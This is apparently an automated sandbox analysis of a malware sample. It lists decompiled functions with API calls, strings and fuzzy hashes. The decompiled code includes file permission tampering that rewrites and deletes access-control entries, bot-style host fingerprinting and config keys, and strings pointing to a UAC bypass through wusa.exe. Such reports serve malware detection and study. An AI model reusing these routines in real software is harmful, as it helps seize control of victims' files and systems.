Function 00406E36, Relevance: 3.1, APIs: 2, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406E36(intOrPtr _a4, intOrPtr _a8) {
				long _v8;
				long _v12;
				union _SID_NAME_USE _v16;
				intOrPtr _v60;
				intOrPtr _v76;
				void _v84;
				short _v340;
				short _v860;
				int _t20;
				int _t28;
				intOrPtr _t30;
				signed int _t31;
				signed int _t32;

				_t32 = _t31 | 0xffffffff;
				_v8 = 0x104;
				_t20 = GetUserNameW( &_v860,  &_v8); // executed
				if(_t20 != 0) {
					_v8 = 0x7c;
					_v12 = 0x80;
					_t28 = LookupAccountNameW(0,  &_v860,  &_v84,  &_v8,  &_v340,  &_v12,  &_v16); // executed
					if(_t28 != 0) {
						if(_v8 < 0xc || _v76 != _a4) {
							L8:
							_t32 = 1;
						} else {
							_t30 = _a8;
							if(_t30 == 0 || _v8 >= 0x1c && _v60 == _t30) {
								_t32 = 0;
							} else {
								goto L8;
							}
						}
					}
				}
				return _t32;
			}

0x00406e4b
0x00406e4e
0x00406e55
0x00406e5d
0x00406e7f
0x00406e86
0x00406e8d
0x00406e95
0x00406e9b
0x00406ebb
0x00406ebd
0x00406ea5
0x00406ea5
0x00406eaa
0x00406eb7
0x00000000
0x00000000
0x00000000
0x00406eaa
0x00406e9b
0x00406e95
0x00406ec2

APIs

GetUserNameW.ADVAPI32(?,00401FA1), ref: 00406E55
LookupAccountNameW.ADVAPI32(00000000,?,?,00000104,?,00000000,00000012), ref: 00406E8D

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Name$AccountLookupUser
String ID:
API String ID: 2370142434-0
Opcode ID: 72898ebcb6f81f1198030622a9bf6313c93c94cde1355ae2af79125b690e915f
Instruction ID: d69833bf2c7126fc9b7bd4b1d5117f4fe90a033eeaed535c4400ab00b2689cfd
Opcode Fuzzy Hash: 72898ebcb6f81f1198030622a9bf6313c93c94cde1355ae2af79125b690e915f
Instruction Fuzzy Hash: 0211F776900218EBDF21CFD4C884ADFB7BCAB04741F1542B6E502F6290DB749B989BE4

Uniqueness

Uniqueness Score: -1.00%

Function 00860DF8, Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00860223,?,?), ref: 00860E02
SetErrorMode.KERNELBASE(00000000,?,?,00860223,?,?), ref: 00860E07

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: d645ef7b6af48f12e870c34ed1b5640e3bd74d96dc479c3fbf86ac33cd21b16b
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 3AD0123114512C77D7402A94DC09BCE7B1CDF05B67F008051FB0DD9181C771994046E9

Uniqueness

Uniqueness Score: -1.00%

Function 0040EBCC, Relevance: 3.0, APIs: 2, Instructions: 13
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040EBCC(long _a4) {
				void* _t3;
				void* _t7;

				_t3 = RtlAllocateHeap(GetProcessHeap(), 0, _a4); // executed
				_t7 = _t3;
				E0040EB74(_t7);
				return _t7;
			}

0x0040ebda
0x0040ebe0
0x0040ebe3
0x0040ebec

APIs

GetProcessHeap.KERNEL32(00000000,00000000,80000001,0040EBFE,7FFF0001,?,0040DB55,7FFF0001), ref: 0040EBD3
RtlAllocateHeap.NTDLL(00000000,?,0040DB55,7FFF0001), ref: 0040EBDA

Part of subcall function 0040EB74: GetProcessHeap.KERNEL32(00000000,00000000,0040EC28,00000000,?,0040DB55,7FFF0001), ref: 0040EB81
Part of subcall function 0040EB74: HeapSize.KERNEL32(00000000,?,0040DB55,7FFF0001), ref: 0040EB88

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Heap$Process$AllocateSize
String ID:
API String ID: 2559512979-0
Opcode ID: ee98881387dc159fbc66546a2e4b1eb81700a9f94495ef156612fafc796680c8
Instruction ID: 42103369b453d960252fa070f8f6fdc0a0ffae9c693debdf4c74a5c852f77059
Opcode Fuzzy Hash: ee98881387dc159fbc66546a2e4b1eb81700a9f94495ef156612fafc796680c8
Instruction Fuzzy Hash: 54C0803210422077C60127A57C0CEDA3E74DF04352F084425F505C1160CB794880879D

Uniqueness

Uniqueness Score: -1.00%

Function 00424B50, Relevance: 3.0, APIs: 2, Instructions: 7COMMON

Download Yara Rule

APIs

___security_init_cookie.LIBCMTD ref: 00424B55
___tmainCRTStartup.LIBCMTD ref: 00424B5A

Part of subcall function 00424B70: _check_managed_app.LIBCMTD ref: 00424BCD
Part of subcall function 00424B70: __heap_init.LIBCMTD ref: 00424BD5
Part of subcall function 00424B70: _fast_error_exit.LIBCMTD ref: 00424BE0
Part of subcall function 00424B70: __mtinit.LIBCMTD ref: 00424BE8
Part of subcall function 00424B70: _fast_error_exit.LIBCMTD ref: 00424BF3
Part of subcall function 00424B70: __RTC_Initialize.LIBCMTD ref: 00424C05
Part of subcall function 00424B70: __ioinit.LIBCMTD ref: 00424C11
Part of subcall function 00424B70: ___crtGetEnvironmentStringsW.LIBCMTD ref: 00424C2F
Part of subcall function 00424B70: ___wsetargv.LIBCMTD ref: 00424C39
Part of subcall function 00424B70: __wsetenvp.LIBCMTD ref: 00424C4C
Part of subcall function 00424B70: __cinit.LIBCMTD ref: 00424C61
Part of subcall function 00424B70: __wwincmdln.LIBCMTD ref: 00424C7E

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: _fast_error_exit$EnvironmentInitializeStartupStrings___crt___security_init_cookie___tmain___wsetargv__cinit__heap_init__ioinit__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 3887909383-0
Opcode ID: ec60fe37282e017bc623648e44f99dd0a63cd9eab57b6accdd9c545009ab6343
Instruction ID: 0eed0475229583cf1b503235ed5220b709b5124e93b3ea526e57b564649c7bbb
Opcode Fuzzy Hash: ec60fe37282e017bc623648e44f99dd0a63cd9eab57b6accdd9c545009ab6343
Instruction Fuzzy Hash: DAA0022314465C16055033E73427E5E7E8D88C476CFD5119BB51C065131D5DFCD1C4AE

Uniqueness

Uniqueness Score: -1.00%

Function 00406DC2, Relevance: 1.5, APIs: 1, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406DC2(void* __ecx) {
				char _v261;
				char _v264;
				long _t6;
				intOrPtr* _t10;
				int _t13;
				intOrPtr _t20;
				void* _t21;

				_t6 =  *0x412f0c; // 0x59040060
				if(_t6 == 0) {
					E0040EF00( &_v264, E00406CC9(__ecx));
					_t10 =  &_v264;
					_t21 = _t10 + 1;
					do {
						_t20 =  *_t10;
						_t10 = _t10 + 1;
					} while (_t20 != 0);
					if(_t10 - _t21 < 3) {
						L5:
						 *0x412f0c = 0x61616161;
					} else {
						_v261 = 0;
						_t13 = GetVolumeInformationA( &_v264, 0, 0, 0x412f0c, 0, 0, 0, 0); // executed
						if(_t13 == 0) {
							goto L5;
						}
					}
					_t6 =  *0x412f0c; // 0x59040060
				}
				return _t6;
			}

0x00406dc5
0x00406dd5
0x00406de4
0x00406dea
0x00406df1
0x00406df4
0x00406df4
0x00406df6
0x00406df7
0x00406e00
0x00406e24
0x00406e24
0x00406e02
0x00406e14
0x00406e1a
0x00406e22
0x00000000
0x00000000
0x00406e22
0x00406e2e
0x00406e2e
0x00406e35

APIs

Part of subcall function 00406CC9: GetModuleHandleA.KERNEL32(kernel32,GetSystemWow64DirectoryA,PromptOnSecureDesktop,000000E4,00406DDC,000000C8), ref: 00406CE7
Part of subcall function 00406CC9: GetProcAddress.KERNEL32(00000000), ref: 00406CEE
Part of subcall function 00406CC9: GetSystemDirectoryA.KERNEL32 ref: 00406D14
Part of subcall function 00406CC9: GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 00406D2B

GetVolumeInformationA.KERNELBASE(?,00000000,00000000,00412F0C,00000000,00000000,00000000,00000000,000000C8), ref: 00406E1A

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Directory$AddressHandleInformationModuleProcSystemVolumeWindows
String ID:
API String ID: 1823874839-0
Opcode ID: 345ca179d3c76e57dc7c5b3e21092807213ae32d0ff3695f39e28a6e5ad22b42
Instruction ID: 46d685041afc82653286dae93d5fe3173771f16ecf38a4b71df535c97c95e6ed
Opcode Fuzzy Hash: 345ca179d3c76e57dc7c5b3e21092807213ae32d0ff3695f39e28a6e5ad22b42
Instruction Fuzzy Hash: 55F028B9104218AFD710DB68DDC5ED777ADD704308F008476E242E3141D6B89D984B5C

Uniqueness

Uniqueness Score: -1.00%

Function 004221AC, Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042220A

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 31db27af16fb54d055d28b96ceb2ee6247b1d90b48156b8c99fb9e9cc421fd5c
Instruction ID: 0465eb8fdff04d5e06788acc8f8977db7cd296be0632c69a280c645ed9be6072
Opcode Fuzzy Hash: 31db27af16fb54d055d28b96ceb2ee6247b1d90b48156b8c99fb9e9cc421fd5c
Instruction Fuzzy Hash: C3014BB5600108FFCB04DF98E985E9E73B9AF98310F50C649F9199B290D738EE50CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0042D5A0, Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000,?,0043792E), ref: 0042D5A7

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 03e48f1748b67bbcd48aaa52ad04d0a30784ddf35edf6f10d6ae7781f9eb69bb
Instruction ID: 720028a9d644b576f4ad2882666f829bdc34b4ea2c5c06e13da83261533cf0d2
Opcode Fuzzy Hash: 03e48f1748b67bbcd48aaa52ad04d0a30784ddf35edf6f10d6ae7781f9eb69bb
Instruction Fuzzy Hash: F4A0123114420863C20012C26809B013A4CD3C87A1F040010F20C050500DA155004055

Uniqueness

Uniqueness Score: -1.00%

Function 00860920, Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000), ref: 00860929

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 89cc55c70507a058e9ffb3aae4f4296a9997ee6c0a4edae31c5b1a86bfd637e3
Instruction ID: 30f3d7182eefe4c983e93399632d1765ae8032794c4adb82b9e2ac84a56656d9
Opcode Fuzzy Hash: 89cc55c70507a058e9ffb3aae4f4296a9997ee6c0a4edae31c5b1a86bfd637e3
Instruction Fuzzy Hash: EE90026074415011D82025AC0C02B0500121751634F344B107130AD1E4D840D6400115

Uniqueness

Uniqueness Score: -1.00%

Function 0041C79B, Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000000,0041CD09), ref: 0041C7A3

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 2be93caafbfa91ef60ab39062a4288727b314bb03ed0258f43a46da13d7dcb22
Instruction ID: 4f95a04367b837b8856e3fbb377a1375b44dfcb0d9cac950204a1c8ff3089f88
Opcode Fuzzy Hash: 2be93caafbfa91ef60ab39062a4288727b314bb03ed0258f43a46da13d7dcb22
Instruction Fuzzy Hash: 6FB012700413008BC7001F60BE04B003EE0B30C342F044025F10551175D7B60040AB2D

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00407809, Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 226
memoryCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E00407809(CHAR* _a4, signed int _a8) {
				signed int _v8;
				void* _v12;
				void* _v16;
				struct _ACL* _v20;
				signed int _v24;
				int _v28;
				long _v32;
				long _v36;
				long _v40;
				long _v44;
				int _v48;
				int _v52;
				union _SID_NAME_USE _v56;
				int _v60;
				void _v128;
				char _v384;
				char _v512;
				struct _SECURITY_DESCRIPTOR _v1536;
				struct _ACL* _t110;
				int _t120;
				intOrPtr _t121;
				signed int _t123;
				signed int _t141;
				char* _t146;
				signed int _t153;
				void* _t154;
				void* _t155;
				void* _t156;

				_t141 = 0;
				_v28 = 0;
				_v20 = 0;
				_v36 = 0x80;
				if(GetUserNameA( &_v384,  &_v36) == 0) {
					L42:
					return _v28;
				}
				_v32 = 0x44;
				_v40 = 0x80;
				if(LookupAccountNameA(0,  &_v384,  &_v128,  &_v32,  &_v512,  &_v40,  &_v56) == 0) {
					goto L42;
				}
				_v32 = GetLengthSid( &_v128);
				_v44 = 0x400;
				if(GetFileSecurityA(_a4, 5,  &_v1536, 0x400,  &_v44) == 0) {
					goto L42;
				} else {
					if(GetSecurityDescriptorOwner( &_v1536,  &_v16,  &_v48) != 0) {
						_v36 = 0x80;
						_v40 = 0x80;
						if(EqualSid( &_v128, _v16) == 0) {
							_v28 = 1;
							_t155 = LocalAlloc(0x40, 0x14);
							if(_t155 != 0) {
								LocalFree(_t155);
							}
						}
					}
					_v24 = _t141;
					if(GetSecurityDescriptorDacl( &_v1536,  &_v60,  &_v20,  &_v52) == 0) {
						L41:
						goto L42;
					}
					_t110 = _v20;
					if(_t110 == _t141) {
						goto L41;
					}
					_v8 = _v8 & _t141;
					if(0 >= _t110->AceCount) {
						goto L41;
					} else {
						goto L13;
					}
					do {
						L13:
						if(GetAce(_t110, _v8,  &_v12) == 0) {
							L32:
							_v8 = _v8 + 1;
							goto L33;
						}
						_t153 = 0;
						_v16 = _v12 + 8;
						if(_t141 <= 0) {
							L19:
							if(_t141 < 0x20) {
								 *((intOrPtr*)(_t156 + _t141 * 4 - 0xfc)) = _v16;
								_t141 = _t141 + 1;
							}
							_t120 = EqualSid( &_v128, _v16);
							_t146 = _v12;
							if(_t120 == 0) {
								_t121 = 0x1200a8;
							} else {
								asm("sbb eax, eax");
								_t121 = ( ~_a8 & 0x00090046) + 0x1601b9;
							}
							if( *((intOrPtr*)(_t146 + 4)) != _t121) {
								 *((intOrPtr*)(_t146 + 4)) = _t121;
								_t146 = _v12;
								_v24 = 1;
							}
							if( *_t146 != 0 || ( *(_t146 + 1) & 0x00000010) != 0) {
								 *_t146 = 0;
								_t66 = _v16 + 8; // 0xc8685f74
								_t123 =  *_t66;
								if(_t123 != 0) {
									 *((char*)(_v12 + 1)) = (_t123 & 0xffffff00 | _t123 - 0x00000050 > 0x00000000) + 2;
								} else {
									 *((char*)(_v12 + 1)) = 0xb;
								}
								_v24 = 1;
							}
							goto L32;
						}
						while(EqualSid( *(_t156 + _t153 * 4 - 0xfc), _v16) == 0) {
							_t153 = _t153 + 1;
							if(_t153 < _t141) {
								continue;
							}
							break;
						}
						if(_t153 >= _t141) {
							goto L19;
						}
						DeleteAce(_v20, _v8);
						_v24 = 1;
						L33:
						_t110 = _v20;
					} while (_v8 < (_t110->AceCount & 0x0000ffff));
					if(_v24 != 0) {
						_v28 = 1;
						_t154 = LocalAlloc(0x40, 0x14);
						if(_t154 != 0) {
							if(InitializeSecurityDescriptor(_t154, 1) != 0 && SetSecurityDescriptorDacl(_t154, 1, _v20, 0) != 0 && SetFileSecurityA(_a4, 4, _t154) != 0) {
								_v28 = 1;
							}
							LocalFree(_t154);
						}
					}
					goto L41;
				}
			}

0x0040781e
0x00407826
0x00407829
0x0040782c
0x00407837
0x00407a8e
0x00407a94
0x00407a94
0x0040785c
0x00407863
0x0040786e
0x00000000
0x00000000
0x0040787e
0x0040788b
0x004078a2
0x00000000
0x004078a8
0x004078c3
0x004078cc
0x004078cf
0x004078da
0x004078e0
0x004078e9
0x004078ed
0x00407917
0x00407917
0x004078ed
0x004078da
0x00407930
0x0040793b
0x00407a8d
0x00000000
0x00407a8d
0x00407941
0x00407946
0x00000000
0x00000000
0x0040794c
0x00407955
0x00000000
0x00000000
0x00000000
0x00000000
0x0040795b
0x0040795b
0x0040796b
0x00407a2a
0x00407a2a
0x00000000
0x00407a2a
0x00407977
0x00407979
0x0040797e
0x004079ae
0x004079b1
0x004079b6
0x004079bd
0x004079bd
0x004079c5
0x004079cb
0x004079d0
0x004079e5
0x004079d2
0x004079d7
0x004079de
0x004079de
0x004079ed
0x004079ef
0x004079f2
0x004079f5
0x004079f5
0x004079fb
0x00407a03
0x00407a09
0x00407a09
0x00407a0e
0x00407a24
0x00407a10
0x00407a13
0x00407a13
0x00407a27
0x00407a27
0x00000000
0x004079fb
0x00407980
0x00407994
0x00407997
0x00000000
0x00000000
0x00000000
0x00407997
0x0040799b
0x00000000
0x00000000
0x004079a3
0x004079a9
0x00407a2d
0x00407a2d
0x00407a34
0x00407a41
0x00407a47
0x00407a50
0x00407a54
0x00407a60
0x00407a83
0x00407a83
0x00407a87
0x00407a87
0x00407a54
0x00000000
0x00407a41

APIs

GetUserNameA.ADVAPI32(?,?), ref: 0040782F
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00407866
GetLengthSid.ADVAPI32(?), ref: 00407878
GetFileSecurityA.ADVAPI32(?,00000005,?,00000400,?), ref: 0040789A
GetSecurityDescriptorOwner.ADVAPI32(?,00407F63,?), ref: 004078B8
EqualSid.ADVAPI32(?,00407F63), ref: 004078D2
LocalAlloc.KERNEL32(00000040,00000014), ref: 004078E3
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 004078F1
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 00407901
SetFileSecurityA.ADVAPI32(?,00000001,00000000), ref: 00407910
LocalFree.KERNEL32(00000000), ref: 00407917
GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00407933
GetAce.ADVAPI32(?,00000000,?), ref: 00407963
EqualSid.ADVAPI32(?,00407F63), ref: 0040798A
DeleteAce.ADVAPI32(?,00000000), ref: 004079A3
EqualSid.ADVAPI32(?,00407F63), ref: 004079C5
LocalAlloc.KERNEL32(00000040,00000014), ref: 00407A4A
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00407A58
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,?,00000000), ref: 00407A69
SetFileSecurityA.ADVAPI32(?,00000004,00000000), ref: 00407A79
LocalFree.KERNEL32(00000000), ref: 00407A87

Strings

D, xrefs: 0040785C

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Security$Descriptor$Local$EqualFile$AllocDaclFreeInitializeNameOwner$AccountDeleteLengthLookupUser
String ID: D
API String ID: 3722657555-2746444292
Opcode ID: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction ID: df0c13f2d89176358eaf39038022480abc221899387876bf5e0f356ce13a0778
Opcode Fuzzy Hash: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction Fuzzy Hash: 59813C71E04119ABDB11CFA5DD44FEFBBB8AB08340F14817AE505F6290D739AA41CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00401D96, Relevance: 33.5, APIs: 6, Strings: 13, Instructions: 205
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E00401D96(void* __ecx, intOrPtr* _a4) {
				struct _OSVERSIONINFOA _v156;
				struct _SYSTEM_INFO _v192;
				char _v196;
				intOrPtr _v200;
				intOrPtr _t59;
				signed int _t61;
				signed int _t63;
				void* _t65;
				intOrPtr _t66;
				intOrPtr _t67;
				signed int _t71;
				intOrPtr _t93;
				intOrPtr _t96;
				intOrPtr _t97;
				intOrPtr _t102;
				intOrPtr* _t103;
				intOrPtr* _t105;
				void* _t109;
				void* _t110;
				void* _t111;
				void* _t112;
				void* _t113;
				void* _t114;

				_t105 = _a4;
				_t102 = 0x64;
				E0040EE2A(__ecx, _t105, 0, _t102);
				_t109 =  &_v200 + 0xc;
				 *_t105 = _t102;
				_v156.dwOSVersionInfoSize = 0x9c;
				if(GetVersionExA( &_v156) == 0) {
					 *((char*)(_t105 + 0x41)) = 0;
				} else {
					 *((char*)(_t105 + 0x41)) = (_v156.dwMajorVersion << 4) + _v156.dwMinorVersion;
				}
				GetSystemInfo( &_v192);
				 *((char*)(_t105 + 0x3f)) = _v192.dwNumberOfProcessors;
				_v196 = 0;
				_t103 = GetProcAddress(GetModuleHandleA("kernel32"), "IsWow64Process");
				if(_t103 != 0) {
					 *_t103(GetCurrentProcess(),  &_v196);
				}
				_t104 = "localcfg";
				 *((char*)(_t105 + 0x40)) = 2;
				_t59 = E0040E819(1, "localcfg", "lid_file_upd", 0);
				_t92 = "flags_upd";
				 *((intOrPtr*)(_t105 + 0x24)) = _t59;
				 *(_t105 + 4) =  *(_t105 + 4) | E0040E819(1, "localcfg", "flags_upd", 0);
				_t61 =  *(_t105 + 4);
				_t110 = _t109 + 0x20;
				if((_t61 & 0x00000008) != 0) {
					 *(_t105 + 4) = _t61 & 0xfffffff7;
					E0040DF70(1, "work_srv");
					E0040DF70(1, "start_srv");
					_t110 = _t110 + 0x10;
				}
				E0040EA84(1, _t104, _t92, 0);
				_t93 = 0;
				_t63 = E0040E819(1, _t104, "net_type", 0);
				_t111 = _t110 + 0x20;
				 *(_t105 + 0x14) = _t63;
				if(E0040199C(_t63) == 0) {
					 *(_t105 + 0x14) =  *(_t105 + 0x14) | 0x00000010;
				} else {
					 *(_t105 + 0x14) =  *(_t105 + 0x14) | 0x00000020;
				}
				_t65 = E0040E819(1, _t104, "born_date", _t93);
				_t112 = _t111 + 0x10;
				 *((intOrPtr*)(_t105 + 0x30)) = _t93;
				if(_t65 == _t93) {
					_t97 = E0040F04E(_t93);
					E0040EA84(1, _t104, "born_date", _t97);
					_t112 = _t112 + 0x14;
					 *((intOrPtr*)(_t105 + 0x30)) = _t97;
					_t93 = 0;
				}
				_t94 = "id";
				_t66 = E0040E819(1, _t104, "id", _t93);
				_t113 = _t112 + 0x10;
				 *((intOrPtr*)(_t105 + 0xc)) = _t66;
				if(_t66 == 0) {
					_v200 = E00401B71();
					E0040EA84(1, _t104, _t94, _t77);
					_t113 = _t113 + 0x10;
					 *((intOrPtr*)(_t105 + 0xc)) = _v200;
				}
				_t95 = "hi_id";
				_t67 = E0040E819(1, _t104, "hi_id", 0);
				_t114 = _t113 + 0x10;
				 *((intOrPtr*)(_t105 + 0x10)) = _t67;
				if(_t67 == 0) {
					_v200 = E00401BDF();
					E0040EA84(1, _t104, _t95, _t74);
					_t114 = _t114 + 0x10;
					 *((intOrPtr*)(_t105 + 0x10)) = _v200;
				}
				 *((intOrPtr*)(_t105 + 8)) = 0x61;
				_t96 = E0040E819(1, _t104, "loader_id", 0);
				if(_t96 == 0) {
					_t96 = 8;
					E0040EA84(1, _t104, "loader_id", _t96);
				}
				 *((intOrPtr*)(_t105 + 0x1c)) = _t96;
				 *((intOrPtr*)(_t105 + 0x34)) = E004030B5();
				if( *0x41201d == 0) {
					if( *0x41201f == 0) {
						 *(_t105 + 0x18) =  *(_t105 + 0x18) & 0x00000000;
					} else {
						if(E00406EC3() != 0) {
							 *(_t105 + 0x18) = 2;
						} else {
							 *(_t105 + 0x18) = 0x10;
						}
					}
				} else {
					 *(_t105 + 0x18) = 1;
				}
				if(_v196 != 0) {
					 *(_t105 + 0x18) =  *(_t105 + 0x18) | 0x00000200;
				}
				_t71 = GetTickCount() / 0x3e8;
				 *0x412110 = _t71;
				 *(_t105 + 0x28) = _t71;
				return _t71;
			}

0x00401d9f
0x00401da9
0x00401daf
0x00401db4
0x00401dbc
0x00401dbe
0x00401dce
0x00401de0
0x00401dd0
0x00401ddb
0x00401ddb
0x00401de8
0x00401dfc
0x00401dff
0x00401e10
0x00401e14
0x00401e22
0x00401e22
0x00401e2a
0x00401e34
0x00401e38
0x00401e3e
0x00401e46
0x00401e4e
0x00401e51
0x00401e54
0x00401e59
0x00401e64
0x00401e67
0x00401e72
0x00401e77
0x00401e77
0x00401e7f
0x00401e84
0x00401e8e
0x00401e93
0x00401e96
0x00401ea0
0x00401ea8
0x00401ea2
0x00401ea2
0x00401ea2
0x00401eb4
0x00401eb9
0x00401ebc
0x00401ec1
0x00401ec9
0x00401ed3
0x00401ed8
0x00401edb
0x00401ede
0x00401ede
0x00401ee1
0x00401ee9
0x00401eee
0x00401ef1
0x00401ef6
0x00401f01
0x00401f05
0x00401f0e
0x00401f11
0x00401f11
0x00401f16
0x00401f1e
0x00401f23
0x00401f26
0x00401f2b
0x00401f36
0x00401f3a
0x00401f43
0x00401f46
0x00401f46
0x00401f52
0x00401f5e
0x00401f65
0x00401f69
0x00401f72
0x00401f77
0x00401f7a
0x00401f82
0x00401f8c
0x00401f9a
0x00401fb7
0x00401f9c
0x00401fa3
0x00401fae
0x00401fa5
0x00401fa5
0x00401fa5
0x00401fa3
0x00401f8e
0x00401f8e
0x00401f8e
0x00401fc0
0x00401fc2
0x00401fc2
0x00401fd6
0x00401fd9
0x00401fde
0x00401fea

APIs

GetVersionExA.KERNEL32 ref: 00401DC6
GetSystemInfo.KERNEL32(?), ref: 00401DE8
GetModuleHandleA.KERNEL32(kernel32,IsWow64Process), ref: 00401E03
GetProcAddress.KERNEL32(00000000), ref: 00401E0A
GetCurrentProcess.KERNEL32(?), ref: 00401E1B
GetTickCount.KERNEL32 ref: 00401FC9

Part of subcall function 00401BDF: GetComputerNameA.KERNEL32(?,0000000F), ref: 00401C15

Strings

loader_id, xrefs: 00401F4B, 00401F6B
lid_file_upd, xrefs: 00401E25
0t, xrefs: 00401FC9
flags_upd, xrefs: 00401E3E, 00401E43, 00401E7C
born_date, xrefs: 00401EAD, 00401ECC
hi_id, xrefs: 00401F16, 00401F1B, 00401F33
kernel32, xrefs: 00401DF7
IsWow64Process, xrefs: 00401DF2
work_srv, xrefs: 00401E5E
localcfg, xrefs: 00401E2A, 00401E31, 00401E44, 00401E7D, 00401E8C, 00401EB2, 00401ED1, 00401EE7, 00401EFF, 00401F1C, 00401F34, 00401F50, 00401F70
net_type, xrefs: 00401E87
start_srv, xrefs: 00401E6C
Mt, xrefs: 00401E03

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressComputerCountCurrentHandleInfoModuleNameProcProcessSystemTickVersion
String ID: 0t$IsWow64Process$born_date$flags_upd$hi_id$kernel32$lid_file_upd$loader_id$localcfg$net_type$start_srv$work_srv$Mt
API String ID: 4207808166-1309689597
Opcode ID: 52000fdd36173797c6d9852f05b2f7d3bbe79e14d00c0f3373a6a06b26d807cb
Instruction ID: 54c1e59e0de162fea3d0b4a588507db8dabc792a1e082174f42e6dfe58141249
Opcode Fuzzy Hash: 52000fdd36173797c6d9852f05b2f7d3bbe79e14d00c0f3373a6a06b26d807cb
Instruction Fuzzy Hash: 3651FA705003446FD330AF768C85F67BAECEB84708F00493FF955A2292D7BDA94487A9

Uniqueness

Uniqueness Score: -1.00%

Function 00401280, Relevance: 30.2, APIs: 9, Strings: 8, Instructions: 417stringCOMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(?), ref: 0040139A
lstrlenW.KERNEL32(-00000003), ref: 00401571

Strings

D, xrefs: 004015C6
@, xrefs: 00401380
useless, xrefs: 0040161E
%systemroot%\system32\cmd.exe, xrefs: 00401316
, xrefs: 00401462
uac, xrefs: 00401628
<, xrefs: 00401378
wusa.exe, xrefs: 00401388

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: ExecuteShelllstrlen
String ID: $%systemroot%\system32\cmd.exe$<$@$D$uac$useless$wusa.exe
API String ID: 1628651668-1839596206
Opcode ID: 2389670ef0d52bc0af3abcc9b5081f8297bcd674c671d6a9091d706800eac20c
Instruction ID: 915494465e6448ea0d8334ed2feda226c725056e28db06d0983f622db304c09c
Opcode Fuzzy Hash: 2389670ef0d52bc0af3abcc9b5081f8297bcd674c671d6a9091d706800eac20c
Instruction Fuzzy Hash: E5F19FB55083419FD720DF64C888BABB7E5FB88304F10892EF596A73A0D778D944CB5A

Uniqueness

Uniqueness Score: -1.00%

